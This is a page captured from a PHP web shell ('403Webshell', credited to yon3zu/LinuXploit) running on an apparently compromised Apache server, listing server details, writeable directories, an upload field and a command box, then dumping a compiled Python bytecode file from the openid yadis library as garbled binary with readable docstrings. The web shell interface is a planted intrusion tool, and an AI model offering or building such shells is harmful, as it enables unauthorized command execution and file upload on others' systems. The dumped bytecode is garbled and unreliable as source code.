403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/openid/yadis/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/openid/yadis/__pycache__/manager.cpython-311.pyc
�

|=�^���>�Gd�de��ZGd�de��ZdS)c�B�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
S)�YadisServiceManagerz�Holds the state of a list of selected Yadis services, managing
    storing it in a session and iterating over the services in order.c�f�||_||_t|��|_||_d|_dS�N)�starting_url�	yadis_url�list�services�session_key�_current)�selfrrr	r
s     �6/usr/lib/python3/dist-packages/openid/yadis/manager.py�__init__zYadisServiceManager.__init__s7��(���#����X����
�&�����
�
�
�c�*�t|j��S)z!How many untried services remain?)�lenr	�rs r
�__len__zYadisServiceManager.__len__s���4�=�!�!�!rc��|Sr�rs r
�__iter__zYadisServiceManager.__iter__s���rc�z�	|j�d��|_|jS#t$rt�wxYw)z�Return the next service

        self.current() will continue to return that service until the
        next call to this method.�)r	�popr�
IndexError�
StopIterationrs r
�__next__zYadisServiceManager.__next__sK��
	!� �M�-�-�a�0�0�D�M��=� ���	 �	 �	 ���	 ���s�(�:c��|jS)zYReturn the current service.

        Returns None if there are no services left.
        �rrs r
�currentzYadisServiceManager.current's��
�}�rc�"�||j|jfvSr)rr)r�urls  r
�forURLzYadisServiceManager.forURL.s���t�(�$�.�9�9�9rc��|jduS)z$Has the first service been returned?Nrrs r
�startedzYadisServiceManager.started1s���}�D�(�(rc��|||j<dS)z5Store this object in the session, by its session key.N)r
)r�sessions  r
�storezYadisServiceManager.store5s��$(��� �!�!�!rN)�__name__�
__module__�__qualname__�__doc__rrrrrr"r$r'rrr
rrs�������I�I�
�
�
�"�"�"����
!�
!�
!����:�:�:�)�)�)�)�)�)�)�)rrc�N�eZdZdZdZdZd
d�Zd�Zdd�Zd	�Z	dd
�Z
d
d�Zdd�ZdS)�	DiscoveryacState management for discovery.

    High-level usage pattern is to call .getNextService(discover) in
    order to find the next available service for this user for this
    session. Once a request completes, call .finish() to clean up the
    session state.

    @ivar session: a dict-like object that stores state unique to the
        requesting user-agent. This object must be able to store
        serializable objects.

    @ivar url: the URL that is used to make the discovery request

    @ivar session_key_suffix: The suffix that will be used to identify
        this object in the session object.
    �auth�_yadis_services_Nc�B�||_||_|�|j}||_dS)zInitialize a discovery objectN)r&r!�DEFAULT_SUFFIX�session_key_suffix)rr&r!r2s    r
rzDiscovery.__init__Os-���������%�!%�!4��"4����rc��|���}|�|s|���|s)||j��\}}|�||��}|r*t	|��}|�|j��nd}|S)a:Return the next authentication service for the pair of
        user_input and session.  This function handles fallback.


        @param discover: a callable that takes a URL and returns a
            list of services

        @type discover: str -> [service]


        @return: the next available service
        N)�
getManager�destroyManagerr!�
createManager�nextr'r&)r�discover�managerrr	�services      r
�getNextServicezDiscovery.getNextServiceXs����/�/�#�#����w�����!�!�!��	>�"*�(�4�8�"4�"4��I�x��(�(��9�=�=�G��	��7�m�m�G��M�M�$�,�'�'�'�'��G��rFc��|�|���}|�+|���}|�|���nd}|S)atClean up Yadis-related services in the session and return
        the most-recently-attempted service from the manager, if one
        exists.

        @param force: True if the manager should be deleted regardless
        of whether it's a manager for self.url.

        @return: current service endpoint object or None if there is
            no current service
        ��forceN)r4rr5)rr>r9r:s    r
�cleanupzDiscovery.cleanupusP���/�/��/�.�.�����o�o�'�'�G����e��,�,�,�,��G��rc� �|j|jzS)zsGet the session key for this starting URL and suffix

        @return: The session key
        @rtype: str
        )�PREFIXr2rs r
�
getSessionKeyzDiscovery.getSessionKey�s���{�T�4�4�4rc��|j�|�����}|�|�|j��s|r|SdS)a>Extract the YadisServiceManager for this object's URL and
        suffix from the session.

        @param force: True if the manager should be returned
        regardless of whether it's a manager for self.url.

        @return: The current YadisServiceManager, if it's for this
            URL, or else None
        N)r&�getrBr"r!)rr>r9s   r
r4zDiscovery.getManager�sM���,�"�"�4�#5�#5�#7�#7�8�8����W�^�^�D�H�%=�%=�����N��4rc���|���}|���rtd|�d|j�����|sdSt	|j|||��}|�|j��|S)z�Create a new YadisService Manager for this starting URL and
        suffix, and store it in the session.

        @raises KeyError: When I already have a manager.

        @return: A new YadisServiceManager or None
        zThere is already a z
 manager for N)rBr4�KeyErrorr!rr'r&)rr	r�keyr9s     r
r6zDiscovery.createManager�s���� � �"�"���?�?���	,��(��C�C����+�,�,�
,��	��4�%�d�h�	�8�S�I�I���
�
�d�l�#�#�#��rc�n�|�|����|���}|j|=dSdS)aTDelete any YadisServiceManager with this starting URL and
        suffix from the session.

        If there is no service manager or the service manager is for a
        different URL, it silently does nothing.

        @param force: True if the manager should be deleted regardless
        of whether it's a manager for self.url.
        r=N)r4rBr&)rr>rGs   r
r5zDiscovery.destroyManager�sA���?�?��?�'�'�3��$�$�&�&�C���S�!�!�!�4�3rr)F)
r(r)r*r+r1rArr;r?rBr4r6r5rrr
r-r-:s���������"�N�
�F�5�5�5�5����:����,5�5�5����� ����("�"�"�"�"�"rr-N)�objectrr-rrr
�<module>rJsn��6)�6)�6)�6)�6)�&�6)�6)�6)�rI"�I"�I"�I"�I"��I"�I"�I"�I"�I"r

Youez - 2016 - github.com/yon3zu
LinuXploit